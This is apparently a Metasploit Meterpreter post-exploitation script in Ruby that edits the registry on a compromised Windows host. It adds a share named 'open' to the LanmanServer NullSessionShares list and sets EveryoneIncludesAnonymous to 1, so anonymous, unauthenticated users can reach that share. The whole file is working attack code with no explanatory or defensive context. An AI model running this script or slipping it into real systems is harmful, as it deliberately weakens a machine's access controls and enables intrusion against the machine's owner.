sharename = 'open'
regmultisz = 7
regdword = 4

key = 'HKLM\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters\\'
rootkey, basekey = client.sys.registry.splitkey(key)
open_key = client.sys.registry.open_key(rootkey,basekey,KEY_READ)
begin
	v = open_key.query_value('NullSessionShares')
  open_key.close
  currentsetting = v.data.split("\x00\x00")[0].split("\x00")

  if currentsetting.include?(sharename)
    print_good("#{sharename} is already allowed as a NullSessionShare")
  else
    print_status("#{sharename} is not in the NullSessionShares list, adding...")
    open_key = client.sys.registry.open_key(rootkey, basekey, KEY_WRITE)
    if currentsetting.length > 0
      print_status("Current Settings #{print_error(currentsetting.inspect)}")
      csinsert = currentsetting.join("\x00") + "\x00"
    else
      print_status("NullSessionShares is present but blank..")
      csinsert = ""
    end
    open_key.set_value("NullSessionShares",regmultisz, csinsert + "#{sharename}\x00\x00")
    open_key.close
  end
rescue Rex::Post::Meterpreter::RequestError
	print_status("NullSessionShares value isn't present, creating and adding #{sharename}")
  open_key = client.sys.registry.open_key(rootkey, basekey, KEY_WRITE)
  open_key.set_value("NullSessionShares",regmultisz,"#{sharename}\x00\x00")
  open_key.close
end

key = 'HKLM\\System\\CurrentControlSet\\Control\\Lsa'
rootkey, basekey = client.sys.registry.splitkey(key)
open_key = client.sys.registry.open_key(rootkey,basekey,KEY_READ)
begin
  v = open_key.query_value('EveryoneIncludesAnonymous')
  open_key.close
  if v.data != 1
    print_status("EveryoneIncludesAnonymous currently set to #{v.data}, setting to: 1")
    open_key = client.sys.registry.open_key(rootkey, basekey, KEY_WRITE)
    open_key.set_value("EveryoneIncludesAnonymous",regdword,1)
    open_key.close
  else
    print_good("EveryoneIncludesAnonymous is already set correctly.")
  end
rescue
  print_status("EveryoneIncludesAnonymous value isn't present, creating and setting to: 1")
  open_key = client.sys.registry.open_key(rootkey, basekey, KEY_WRITE)
  open_key.set_value("EveryoneIncludesAnonymous",regdword,1)
  open_key.close
end
